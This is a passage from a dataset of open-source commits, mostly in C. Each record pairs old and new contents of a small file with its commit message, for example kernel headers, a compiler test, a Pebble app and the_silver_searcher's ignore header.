{"commit":"f2ec24fd42d52a52829070b5e31d9a17d145df30","old_file":"arch\/microblaze\/include\/asm\/entry.h","new_file":"arch\/microblaze\/include\/asm\/entry.h","old_contents":"\/*\n * Definitions used by low-level trap handlers\n *\n * Copyright (C) 2008 Michal Simek\n * Copyright (C) 2007 - 2008 PetaLogix\n * Copyright (C) 2007 John Williams <john.williams@petalogix.com>\n *\n * This file is subject to the terms and conditions of the GNU General\n * Public License. See the file COPYING in the main directory of this\n * archive for more details.\n *\/\n\n#ifndef _ASM_MICROBLAZE_ENTRY_H\n#define _ASM_MICROBLAZE_ENTRY_H\n\n#include <asm\/percpu.h>\n#include <asm\/ptrace.h>\n\n\/*\n * These are per-cpu variables required in entry.S, among other\n * places\n *\/\n\n#define PER_CPU(var) per_cpu__##var\n\n# ifndef __ASSEMBLY__\nDECLARE_PER_CPU(unsigned int, KSP); \/* Saved kernel stack pointer *\/\nDECLARE_PER_CPU(unsigned int, KM); \/* Kernel\/user mode *\/\nDECLARE_PER_CPU(unsigned int, ENTRY_SP); \/* Saved SP on kernel entry *\/\nDECLARE_PER_CPU(unsigned int, R11_SAVE); \/* Temp variable for entry *\/\nDECLARE_PER_CPU(unsigned int, CURRENT_SAVE); \/* Saved current pointer *\/\nDECLARE_PER_CPU(unsigned int, SYSCALL_SAVE); \/* Saved syscall number *\/\n# endif \/* __ASSEMBLY__ *\/\n\n#endif \/* _ASM_MICROBLAZE_ENTRY_H *\/\n","new_contents":"\/*\n * Definitions used by low-level trap handlers\n *\n * Copyright (C) 2008 Michal Simek\n * Copyright (C) 2007 - 2008 PetaLogix\n * Copyright (C) 2007 John Williams <john.williams@petalogix.com>\n *\n * This file is subject to the terms and conditions of the GNU General\n * Public License. See the file COPYING in the main directory of this\n * archive for more details.\n *\/\n\n#ifndef _ASM_MICROBLAZE_ENTRY_H\n#define _ASM_MICROBLAZE_ENTRY_H\n\n#include <asm\/percpu.h>\n#include <asm\/ptrace.h>\n\n\/*\n * These are per-cpu variables required in entry.S, among other\n * places\n *\/\n\n#define PER_CPU(var) per_cpu__##var\n\n# ifndef __ASSEMBLY__\nDECLARE_PER_CPU(unsigned int, KSP); \/* Saved kernel stack pointer *\/\nDECLARE_PER_CPU(unsigned int, KM); \/* Kernel\/user mode *\/\nDECLARE_PER_CPU(unsigned int, ENTRY_SP); \/* Saved SP on kernel entry *\/\nDECLARE_PER_CPU(unsigned int, R11_SAVE); \/* Temp variable for entry *\/\nDECLARE_PER_CPU(unsigned int, CURRENT_SAVE); \/* Saved current pointer *\/\n# endif \/* __ASSEMBLY__ *\/\n\n#endif \/* _ASM_MICROBLAZE_ENTRY_H *\/\n","subject":"Remove unneded per cpu SYSCALL_SAVE variable","message":"microblaze: Remove unneded per cpu SYSCALL_SAVE variable\n\nSigned-off-by: Michal Simek <3a191dd2be46e826fee926d532b136ed65cb5318@monstr.eu>\n","lang":"C","license":"mit","repos":"KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas"}
{"commit":"05e7220cccf9e335700e91b14c2de91d84c6fe3d","old_file":"src\/keyboard-layout-observer.h","new_file":"src\/keyboard-layout-observer.h","old_contents":"#ifndef SRC_KEYBORD_LAYOUT_OBSERVER_H_\n#define SRC_KEYBORD_LAYOUT_OBSERVER_H_\n\n#include \"nan.h\"\n\nusing namespace v8;  \/\/ NOLINT\n\nclass KeyboardLayoutObserver : public node::ObjectWrap {\n public:\n  static void Init(Handle<Object> target);\n  void HandleKeyboardLayoutChanged();\n\n private:\n  KeyboardLayoutObserver(NanCallback *callback);\n  ~KeyboardLayoutObserver();\n  static NAN_METHOD(New);\n  static NAN_METHOD(GetCurrentKeyboardLayout);\n\n  NanCallback *callback;\n};\n\n#endif  \/\/ SRC_KEYBORD_LAYOUT_OBSERVER_H_\n","new_contents":"#ifndef SRC_KEYBORD_LAYOUT_OBSERVER_H_\n#define SRC_KEYBORD_LAYOUT_OBSERVER_H_\n\n#include \"nan.h\"\n\nusing namespace v8;  \/\/ NOLINT\n\nclass KeyboardLayoutObserver : public node::ObjectWrap {\n public:\n  static void Init(Handle<Object> target);\n  void HandleKeyboardLayoutChanged();\n\n private:\n  KeyboardLayoutObserver(NanCallback *callback);\n  ~KeyboardLayoutObserver();\n  static NAN_METHOD(New);\n  static NAN_METHOD(GetCurrentKeyboardLayout);\n  static NAN_METHOD(GetInstalledKeyboardLayouts);\n\n  NanCallback *callback;\n};\n\n#endif  \/\/ SRC_KEYBORD_LAYOUT_OBSERVER_H_\n","subject":"Add our new method to get the list of installed layouts","message":"Add our new method to get the list of installed layouts\n","lang":"C","license":"mit","repos":"atom\/keyboard-layout,atom\/keyboard-layout,atom\/keyboard-layout"}
{"commit":"cefc69e635bdcabbf8191627913af238b9f974f2","old_file":"UIKit\/UIPanGestureRecognizer+Private.h","new_file":"UIKit\/UIPanGestureRecognizer+Private.h","old_contents":"@interface UIPanGestureRecognizer (Private)\n\n@property (setter=_setHysteresis:) BOOL _hysteresis;\n\n@end","new_contents":"@interface UIPanGestureRecognizer (Private)\n\n@property (setter=_setHysteresis:) CGFloat _hysteresis;\n@property (assign, nonatomic) BOOL failsPastMaxTouches;\n\n@end","subject":"Fix UIPanGestureRecognizer property type; add property","message":"[UIKit] Fix UIPanGestureRecognizer property type; add property\n","lang":"C","license":"unlicense","repos":"hbang\/headers,hbang\/headers"}
{"commit":"11ecac55348eb103e2cbcd25cb01178584faa57f","old_file":"chrome\/app\/scoped_ole_initializer.h","new_file":"chrome\/app\/scoped_ole_initializer.h","old_contents":"\/\/ Copyright (c) 2009 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef CHROME_APP_SCOPED_OLE_INITIALIZER_H_\n#define CHROME_APP_SCOPED_OLE_INITIALIZER_H_\n\n\/\/ Wraps OLE initialization in a cross-platform class meant to be used on the\n\/\/ stack so init\/uninit is done with scoping. This class is ok for use by\n\/\/ non-windows platforms; it just doesn't do anything.\n\n#if defined(OS_WIN)\n\n#include <ole2.h>\n\nclass ScopedOleInitializer {\n public:\n  ScopedOleInitializer() {\n    int ole_result = OleInitialize(NULL);\n    DCHECK(ole_result == S_OK);\n  }\n  ~ScopedOleInitializer() {\n    OleUninitialize();\n  }\n};\n\n#else\n\nclass ScopedOleInitializer {\n public:\n  \/\/ Empty, this class does nothing on non-win32 systems. Empty ctor is\n  \/\/ necessary to avoid \"unused variable\" warning on gcc.\n  ScopedOleInitializer() { }\n};\n\n#endif\n\n#endif  \/\/ CHROME_APP_SCOPED_OLE_INITIALIZER_H_\n","new_contents":"\/\/ Copyright (c) 2009 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef CHROME_APP_SCOPED_OLE_INITIALIZER_H_\n#define CHROME_APP_SCOPED_OLE_INITIALIZER_H_\n\n#include \"base\/logging.h\"\n#include \"build\/build_config.h\"\n\n\/\/ Wraps OLE initialization in a cross-platform class meant to be used on the\n\/\/ stack so init\/uninit is done with scoping. This class is ok for use by\n\/\/ non-windows platforms; it just doesn't do anything.\n\n#if defined(OS_WIN)\n\n#include <ole2.h>\n\nclass ScopedOleInitializer {\n public:\n  ScopedOleInitializer() {\n    int ole_result = OleInitialize(NULL);\n    DCHECK(ole_result == S_OK);\n  }\n  ~ScopedOleInitializer() {\n    OleUninitialize();\n  }\n};\n\n#else\n\nclass ScopedOleInitializer {\n public:\n  \/\/ Empty, this class does nothing on non-win32 systems. Empty ctor is\n  \/\/ necessary to avoid \"unused variable\" warning on gcc.\n  ScopedOleInitializer() { }\n};\n\n#endif\n\n#endif  \/\/ CHROME_APP_SCOPED_OLE_INITIALIZER_H_\n","subject":"Make ScopedOleInitializer work on windows if you aren't including build_config already.","message":"Make ScopedOleInitializer work on windows if you aren't including\nbuild_config already.\n\nBUG=none\nTEST=none\n\nReview URL: http:\/\/codereview.chromium.org\/19640\n\ngit-svn-id: dd90618784b6a4b323ea0c23a071cb1c9e6f2ac7@8835 4ff67af0-8c30-449e-8e8b-ad334ec8d88c\n","lang":"C","license":"bsd-3-clause","repos":"wistoch\/meego-app-browser,wistoch\/meego-app-browser,wistoch\/meego-app-browser,wistoch\/meego-app-browser,wistoch\/meego-app-browser,wistoch\/meego-app-browser,wistoch\/meego-app-browser,wistoch\/meego-app-browser,wistoch\/meego-app-browser,wistoch\/meego-app-browser"}
{"commit":"9cdd7db18bcf038c1b92e45ae0ba9c846e8d3977","old_file":"test2\/float\/call\/many_floats.c","new_file":"test2\/float\/call\/many_floats.c","old_contents":"\/\/ RUN: %ucc -o %t %s\n\/\/ RUN: %ocheck 0 %t\n\/\/ RUN: %t | %output_check 'Hello 5 2.3' 'Hello 5 2.3'\n\n\/\/ should run without segfaulting\nmain()\n{\n\tprintf(\"Hello %d %.1f\\n\",\n\t\t\t5,\n\t\t\t2.3,\n\t\t\t2.3,\n\t\t\t2.3,\n\t\t\t2.3,\n\t\t\t2.3,\n\t\t\t2.3,\n\t\t\t2.3,\n\t\t\t2.3,\n\t\t\t2.3,\n\t\t\t2.3,\n\t\t\t2.3); \/\/ this causes an infinite loop in glibc's printf()\n\n\tprintf(\"Hello %d %.1f\\n\",\n\t\t\t5,\n\t\t\t2.3,\n\t\t\t2.3,\n\t\t\t2.3,\n\t\t\t2.3,\n\t\t\t2.3,\n\t\t\t2.3,\n\t\t\t2.3,\n\t\t\t2.3,\n\t\t\t2.3,\n\t\t\t2.3,\n\t\t\t2.3,  \/\/ this causes an infinite loop in glibc's printf()\n\t\t\t2.3); \/\/ and this causes a crash\n\n\n\t\/\/ suspect the bug is to do with double alignment when passed as stack arguments\n\n\treturn 0;\n}\n","new_contents":"\/\/ RUN: %ucc -o %t %s\n\/\/ RUN: %ocheck 0 %t\n\/\/ RUN: %t | %output_check 'Hello 5 5.9' '7.3 8.7 10.1 11.5 12.9 14.3 15.7 17.1 18.5 19.9' 'Hello 5 15.7' '14.3 12.9 11.5 10.1 8.7 7.3 5.9 4.5 3.1 1.7 0.3'\n\n\n\/\/ should run without segfaulting\nmain()\n{\n\tprintf(\"Hello %d %.1f\\n\"\n\t\t\t\"%.1f %.1f %.1f %.1f %.1f %.1f %.1f %.1f %.1f %.1f\\n\",\n\t\t\t5,\n\t\t\t5.9,\n\t\t\t7.3,\n\t\t\t8.7,\n\t\t\t10.1,\n\t\t\t11.5,\n\t\t\t12.9,\n\t\t\t14.3,\n\t\t\t15.7,\n\t\t\t17.1,\n\t\t\t18.5,\n\t\t\t19.9); \/\/ this causes an infinite loop in glibc's printf()\n\n\tprintf(\"Hello %d %.1f\\n\"\n\t\t\t\"%.1f %.1f %.1f %.1f %.1f %.1f %.1f %.1f %.1f %.1f %.1f\\n\",\n\t\t\t5,\n\t\t\t15.7,\n\t\t\t14.3,\n\t\t\t12.9,\n\t\t\t11.5,\n\t\t\t10.1,\n\t\t\t8.7,\n\t\t\t7.3,\n\t\t\t5.9,\n\t\t\t4.5,\n\t\t\t3.1,\n\t\t\t1.7, \/\/ this causes an infinite loop in glibc's printf()\n\t\t\t0.3); \/\/ and this causes a crash\n\n\n\t\/\/ suspect the bug is to do with double alignment when passed as stack arguments\n\n\treturn 0;\n}\n","subject":"Format strings and more through test for stack floats","message":"Format strings and more through test for stack floats\n","lang":"C","license":"mit","repos":"8l\/ucc-c-compiler,8l\/ucc-c-compiler,8l\/ucc-c-compiler,8l\/ucc-c-compiler"}
{"commit":"b004fd538d4d56202a8f226f0145ba03aeb27a69","old_file":"tensorflow_lite_support\/cc\/text\/tokenizers\/tokenizer_jni_lib.h","new_file":"tensorflow_lite_support\/cc\/text\/tokenizers\/tokenizer_jni_lib.h","old_contents":"\/* Copyright 2019 The TensorFlow Authors. All Rights Reserved.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n==============================================================================*\/\n#ifndef TENSORFLOW_LITE_SUPPORT_CC_TEXT_TOKENIZERS_TOKENIZER_JNI_LIB_H_\n#define TENSORFLOW_LITE_SUPPORT_CC_TEXT_TOKENIZERS_TOKENIZER_JNI_LIB_H_\n\n#include <jni.h>\n\n#include <string>\n\n#include \"tensorflow_lite_support\/cc\/text\/tokenizers\/tokenizer.h\"\n#include \"tensorflow_lite_support\/cc\/utils\/jni_utils.h\"\n\nnamespace tflite {\nnamespace support {\n\njobjectArray nativeTokenize(JNIEnv* env, jlong handle, jstring jtext);\n\njintArray nativeConvertTokensToIds(JNIEnv* env, jlong handle,\n                                   jobjectArray jtokens);\n\n}  \/\/ namespace support\n}  \/\/ namespace tflite\n\n#endif  \/\/ TENSORFLOW_LITE_SUPPORT_CC_TEXT_TOKENIZERS_TOKENIZER_JNI_LIB_H_\n","new_contents":"\/* Copyright 2019 The TensorFlow Authors. All Rights Reserved.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n==============================================================================*\/\n#ifndef TENSORFLOW_LITE_SUPPORT_CC_TEXT_TOKENIZERS_TOKENIZER_JNI_LIB_H_\n#define TENSORFLOW_LITE_SUPPORT_CC_TEXT_TOKENIZERS_TOKENIZER_JNI_LIB_H_\n\n#include <jni.h>\n\n#include \"tensorflow_lite_support\/cc\/text\/tokenizers\/tokenizer.h\"\n#include \"tensorflow_lite_support\/cc\/utils\/jni_utils.h\"\n\nnamespace tflite {\nnamespace support {\n\njobjectArray nativeTokenize(JNIEnv* env, jlong handle, jstring jtext);\n\njintArray nativeConvertTokensToIds(JNIEnv* env, jlong handle,\n                                   jobjectArray jtokens);\n\n}  \/\/ namespace support\n}  \/\/ namespace tflite\n\n#endif  \/\/ TENSORFLOW_LITE_SUPPORT_CC_TEXT_TOKENIZERS_TOKENIZER_JNI_LIB_H_\n","subject":"Remove unused STL string include","message":"Remove unused STL string include\n\nPiperOrigin-RevId: 433365283\n","lang":"C","license":"apache-2.0","repos":"tensorflow\/tflite-support,tensorflow\/tflite-support,tensorflow\/tflite-support,tensorflow\/tflite-support,tensorflow\/tflite-support,tensorflow\/tflite-support"}
{"commit":"ae78b7da75216dc8b6ed457a7f6ca878faaeec06","old_file":"rbcoremidi.c","new_file":"rbcoremidi.c","old_contents":"\/*\n *  Copyright 2008 Markus Prinz\n *  Released unter an MIT licence\n *\n *\/\n\n#include <ruby.h>\n\n\nVALUE crbCoreMidi;\n\nvoid Init_rbcoremidi (void)\n{\n  \/\/ Add the initialization code of your module here.\n}\n","new_contents":"\/*\n *  Copyright 2008 Markus Prinz\n *  Released unter an MIT licence\n *\n *\/\n\n#include <ruby.h>\n#include <CoreMIDI\/CoreMIDI.h>\n\n\nVALUE callback_proc = Qnil;\n\nMIDIPortRef inPort = NULL;\nMIDIClientRef client = NULL;\n\nstatic void RbMIDIReadProc(const MIDIPacketList* packetList, void* readProcRefCon, void* srcConnRefCon)\n{\n    \n}\n\nvoid Init_rbcoremidi (void)\n{\n  \/\/ Add the initialization code of your module here.\n}\n","subject":"Add skeleton for callback and a few global vars","message":"Add skeleton for callback and a few global vars\n","lang":"C","license":"mit","repos":"cypher\/rbcoremidi,cypher\/rbcoremidi"}
{"commit":"aca77f3e86ce9c380f19a4d02875023100af8c82","old_file":"StravaKit\/StravaKit\/StravaKit.h","new_file":"StravaKit\/StravaKit\/StravaKit.h","old_contents":"\/\/\n\/\/  StravaKitOSX.h\n\/\/  StravaKitOSX\n\/\/\n\/\/  Created by Elmar Tampe on 04\/12\/14.\n\/\/\n\/\/\n\n#import <UIKit\/UIKit.h>\n\n\/\/! Project version number for StravaKitOSX.\nFOUNDATION_EXPORT double StravaKitOSXVersionNumber;\n\n\/\/! Project version string for StravaKitOSX.\nFOUNDATION_EXPORT const unsigned char StravaKitOSXVersionString[];\n\n\/\/ In this header, you should import all the public headers of your framework using statements like #import <StravaKitOSX\/PublicHeader.h>\n\n\n","new_contents":"\/\/\n\/\/  StravaKit.h\n\/\/  StravaKit\n\/\/\n\/\/  Created by Elmar Tampe on 04\/12\/14.\n\/\/\n\/\/\n\n#import <UIKit\/UIKit.h>\n\n\/\/! Project version number for StravaKit.\nFOUNDATION_EXPORT double StravaKitVersionNumber;\n\n\/\/! Project version string for StravaKit.\nFOUNDATION_EXPORT const unsigned char StravaKitVersionString[];\n\n\/\/ In this header, you should import all the public headers of your framework using statements like #import <StravaKitOSX\/PublicHeader.h>\n\n\n","subject":"Fix the naming of the var's to match the actual naming.","message":"Fix the naming of the var's to match the actual naming.\n","lang":"C","license":"mit","repos":"elmoswelt\/StravaKit,elmoswelt\/StravaKit"}
{"commit":"9759b067314061deacc5474ecb5d6cc022185986","old_file":"src\/Omnium.c","new_file":"src\/Omnium.c","old_contents":"","new_contents":"\/* Standard libraries *\/\n#include <stdio.h>\n#include <stdlib.h>\n\nint main(int argc, char **argv)\n{\n    int distance, n_ciclists, uniforme;\n    \n    if (argc != 4) {\n        fprintf(stderr, \"USAGE: %s d n [v|u]\\n\", argv[0]);\n        return EXIT_FAILURE;\n    }\n    \n    distance   = atoi(argv[1]);\n    n_ciclists = atoi(argv[2]);\n    \n    if (argv[3][1] != '\\0') {\n        fprintf(stderr, \"3rd argument must be 'u' or 'v'\\n\");\n        return EXIT_FAILURE;\n    }\n    \n    switch (argv[3][0]) {\n        case 'u': uniforme = 1; break;\n        case 'v': uniforme = 0; break;\n        default:\n            fprintf(stderr, \"3rd argument must be 'u' or 'v'\\n\");\n            return EXIT_FAILURE;\n    }\n    \n    printf(\"d:%d n:%d uniforme:%d\\n\", distance, n_ciclists, uniforme);\n    \n    return EXIT_SUCCESS;\n}\n","subject":"Create file and read options","message":"Create file and read options\n","lang":"C","license":"apache-2.0","repos":"renatocf\/MAC0438-EP1"}
{"commit":"7c0c1625ca01a505f047c7332073014a96021696","old_file":"src\/Pomade.c","new_file":"src\/Pomade.c","old_contents":"#include \"pebble_os.h\"\n#include \"pebble_app.h\"\n#include \"pebble_fonts.h\"\n\n\n#define MY_UUID { 0x78, 0x1D, 0x21, 0x66, 0x09, 0x09, 0x4F, 0x9C, 0x88, 0xFD, 0x89, 0x9B, 0x04, 0xBF, 0x5E, 0x32 }\nPBL_APP_INFO(MY_UUID,\n             \"Template App\", \"Your Company\",\n             1, 0, \/* App version *\/\n             DEFAULT_MENU_ICON,\n             APP_INFO_STANDARD_APP);\n\nWindow window;\n\n\nvoid handle_init(AppContextRef ctx) {\n\n  window_init(&window, \"Window Name\");\n  window_stack_push(&window, true \/* Animated *\/);\n}\n\n\nvoid pbl_main(void *params) {\n  PebbleAppHandlers handlers = {\n    .init_handler = &handle_init\n  };\n  app_event_loop(params, &handlers);\n}\n","new_contents":"#include \"pebble_os.h\"\n#include \"pebble_app.h\"\n#include \"pebble_fonts.h\"\n\n#define MY_UUID { 0x78, 0x1D, 0x21, 0x66, 0x09, 0x09, 0x4F, 0x9C, 0x88, 0xFD, 0x89, 0x9B, 0x04, 0xBF, 0x5E, 0x32 }\n\nPBL_APP_INFO(MY_UUID,\n             \"Pomade\", \"Jon Speicher\",\n             0, 1, \/* App version *\/\n             DEFAULT_MENU_ICON,\n             APP_INFO_STANDARD_APP);\n\nWindow window;\n\nvoid handle_init(AppContextRef ctx) {\n  window_init(&window, \"Pomade\");\n  window_stack_push(&window, true \/* Animated *\/);\n}\n\nvoid pbl_main(void *params) {\n  PebbleAppHandlers handlers = {\n    .init_handler = &handle_init\n  };\n  app_event_loop(params, &handlers);\n}\n","subject":"Change version, app and window name","message":"Change version, app and window name\n","lang":"C","license":"mit","repos":"elliots\/simple-demo-pebble,jonspeicher\/Pomade,jonspeicher\/Pomade"}
{"commit":"747852023687e4fe4502cc616412a5e3568f56fd","old_file":"gnu\/lib\/libregex\/gnuregex.h","new_file":"gnu\/lib\/libregex\/gnuregex.h","old_contents":"\/*-\n * Copyright (c) 2004 David E. O'Brien\n * Copyright (c) 2004 Andrey A. Chernov\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n * 1. Redistributions of source code must retain the above copyright\n *    notice, this list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright\n *    notice, this list of conditions and the following disclaimer in the\n *    documentation and\/or other materials provided with the distribution.\n *\n * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND\n * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE\n * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\n * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS\n * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)\n * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\n * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY\n * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF\n * SUCH DAMAGE.\n *\n * $FreeBSD$\n *\/\n\n#ifdef __GNUC__\n#warning \"<gnuregex.h> has been replaced by <gnu\/regex.h>\"\n#endif\n#include <gnu\/regex.h>\n","new_contents":"\/*-\n * Copyright (c) 2004 David E. O'Brien\n * Copyright (c) 2004 Andrey A. Chernov\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n * 1. Redistributions of source code must retain the above copyright\n *    notice, this list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright\n *    notice, this list of conditions and the following disclaimer in the\n *    documentation and\/or other materials provided with the distribution.\n *\n * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND\n * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE\n * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\n * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS\n * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)\n * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\n * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY\n * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF\n * SUCH DAMAGE.\n *\n * $FreeBSD$\n *\/\n\n#ifdef __GNUC__\n#warning \"Use -I\/usr\/include\/gnu and <regex.h> instead of <gnuregex.h>\"\n#endif\n#include <gnu\/regex.h>\n","subject":"Change warning hint to be more useful","message":"Change warning hint to be more useful\n","lang":"C","license":"bsd-3-clause","repos":"jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase"}
{"commit":"40a1a436137bab2bb7fc0ed7cc83d4d52be36ce4","old_file":"tools\/emulator\/non_interactive.c","new_file":"tools\/emulator\/non_interactive.c","old_contents":"\/\/\n\/\/ Non-interactive test runner just produces register traces and memory dumps\n\/\/\n\n#include <stdio.h>\n#include <string.h>\n#include <unistd.h>\n#include <stdlib.h>\n#include <sys\/poll.h>\n#include <stdarg.h>\n#include \"core.h\"\n#include \"debug_info.h\"\n\nvoid runNonInteractive(Core *core)\n{\n\tint i;\n\n\tenableTracing(core);\n\trunQuantum(core);\n}\n","new_contents":"\/\/\n\/\/ Non-interactive test runner just produces register traces and memory dumps\n\/\/\n\n#include <stdio.h>\n#include <string.h>\n#include <unistd.h>\n#include <stdlib.h>\n#include <sys\/poll.h>\n#include <stdarg.h>\n#include \"core.h\"\n#include \"debug_info.h\"\n\nvoid runNonInteractive(Core *core)\n{\n\tint i;\n\n\tenableTracing(core);\n\tfor (i = 0; i < 20; i++)\n\t{\n\t\tif (!runQuantum(core))\n\t\t\tbreak;\n\t}\n}\n","subject":"Make emulator run for a little longer in non-interactive mode","message":"Make emulator run for a little longer in non-interactive mode\n","lang":"C","license":"apache-2.0","repos":"jbush001\/NyuziProcessor,jbush001\/NyuziProcessor,hoangt\/NyuziProcessor,FulcronZ\/NyuziProcessor,jbush001\/NyuziProcessor,hoangt\/NyuziProcessor,hoangt\/NyuziProcessor,jbush001\/NyuziProcessor,FulcronZ\/NyuziProcessor,FulcronZ\/NyuziProcessor,hoangt\/NyuziProcessor,FulcronZ\/NyuziProcessor,jbush001\/NyuziProcessor,jbush001\/NyuziProcessor"}
{"commit":"9cc47bd19ebc3f697753d1a3ab62777c9e68d1c2","old_file":"src\/ignore.h","new_file":"src\/ignore.h","old_contents":"#include <sys\/dir.h>\n#include <sys\/types.h>\n\n#ifndef IGNORE_H\n#define IGNORE_H\n\n#define SVN_DIR_PROP_BASE \"\/dir-prop-base\"\n#define SVN_DIR \".svn\"\n#define SVN_PROP_IGNORE \"svn:ignore\"\n\nstruct ignores {\n    char **names; \/* Non-regex ignore lines. Sorted so we can binary search them. *\/\n    size_t names_len;\n    char **regexes; \/* For patterns that need fnmatch *\/\n    size_t regexes_len;\n    struct ignores *parent;\n};\ntypedef struct ignores ignores;\n\nignores *root_ignores;\n\nextern const char *evil_hardcoded_ignore_files[];\nextern const char *ignore_pattern_files[];\n\nignores *init_ignore(ignores *parent);\nvoid cleanup_ignore(ignores *ig);\n\nvoid add_ignore_pattern(ignores *ig, const char* pattern);\n\nvoid load_ignore_patterns(ignores *ig, const char *ignore_filename);\nvoid load_svn_ignore_patterns(ignores *ig, const char *path);\n\nint ackmate_dir_match(const char* dir_name);\n\nint filename_filter(struct dirent *dir);\n\n#endif\n","new_contents":"#ifndef IGNORE_H\n#define IGNORE_H\n\n#include <sys\/dir.h>\n#include <sys\/types.h>\n\n#define SVN_DIR_PROP_BASE \"\/dir-prop-base\"\n#define SVN_DIR \".svn\"\n#define SVN_PROP_IGNORE \"svn:ignore\"\n\nstruct ignores {\n    char **names; \/* Non-regex ignore lines. Sorted so we can binary search them. *\/\n    size_t names_len;\n    char **regexes; \/* For patterns that need fnmatch *\/\n    size_t regexes_len;\n    struct ignores *parent;\n};\ntypedef struct ignores ignores;\n\nignores *root_ignores;\n\nextern const char *evil_hardcoded_ignore_files[];\nextern const char *ignore_pattern_files[];\n\nignores *init_ignore(ignores *parent);\nvoid cleanup_ignore(ignores *ig);\n\nvoid add_ignore_pattern(ignores *ig, const char* pattern);\n\nvoid load_ignore_patterns(ignores *ig, const char *ignore_filename);\nvoid load_svn_ignore_patterns(ignores *ig, const char *path);\n\nint ackmate_dir_match(const char* dir_name);\n\nint filename_filter(struct dirent *dir);\n\n#endif\n","subject":"Put ifndef at the top.","message":"Put ifndef at the top.\n","lang":"C","license":"apache-2.0","repos":"accessv\/the_silver_searcher,subev\/the_silver_searcher,decaff\/the_silver_searcher,siadat\/the_silver_searcher,lunixbochs\/the_silver_searcher,accessv\/the_silver_searcher,nodakai\/the_silver_searcher,cchamberlain\/the_silver_searcher,brianstorti\/the_silver_searcher,smaudet\/the_silver_searcher,siadat\/the_silver_searcher,godbyk\/the_silver_searcher,vehar\/the_silver_searcher,cchamberlain\/the_silver_searcher,Arkanosis\/the_silver_searcher,SnoringFrog\/the_silver_searcher,subev\/the_silver_searcher,ur4ltz\/the_silver_searcher,rowanbeentje\/the_silver_searcher,monochromegane\/the_silver_searcher,siadat\/the_silver_searcher,abhiii5459\/the_silver_searcher,christer155\/the_silver_searcher,abhiii5459\/the_silver_searcher,lizh06\/the_silver_searcher,lunixbochs\/the_silver_searcher,abhiii5459\/the_silver_searcher,bhaak\/the_silver_searcher,jemiahlee\/the_silver_searcher,bestwpw\/the_silver_searcher,msys2\/the_silver_searcher,godbyk\/the_silver_searcher,ggreer\/the_silver_searcher,SnoringFrog\/the_silver_searcher,cchamberlain\/the_silver_searcher,k-takata\/the_silver_searcher,sebgod\/the_silver_searcher,starcraftman\/the_silver_searcher,nishant8BITS\/the_silver_searcher,